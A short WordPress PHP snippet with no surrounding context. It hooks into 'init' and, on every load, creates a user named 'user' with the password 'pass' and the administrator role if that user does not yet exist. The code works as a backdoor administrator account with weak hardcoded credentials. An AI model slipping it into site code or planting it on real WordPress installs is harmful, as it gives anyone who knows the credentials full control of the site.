function create_admin_account() {
  $user = 'user';
  $pass = 'pass';
  $email = 'user@email.com';
  if (!username_exists($user) && !email_exists($email)) {
    $user_id = wp_create_user($user, $pass, $email);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
  }
}

add_action('init', 'create_admin_account');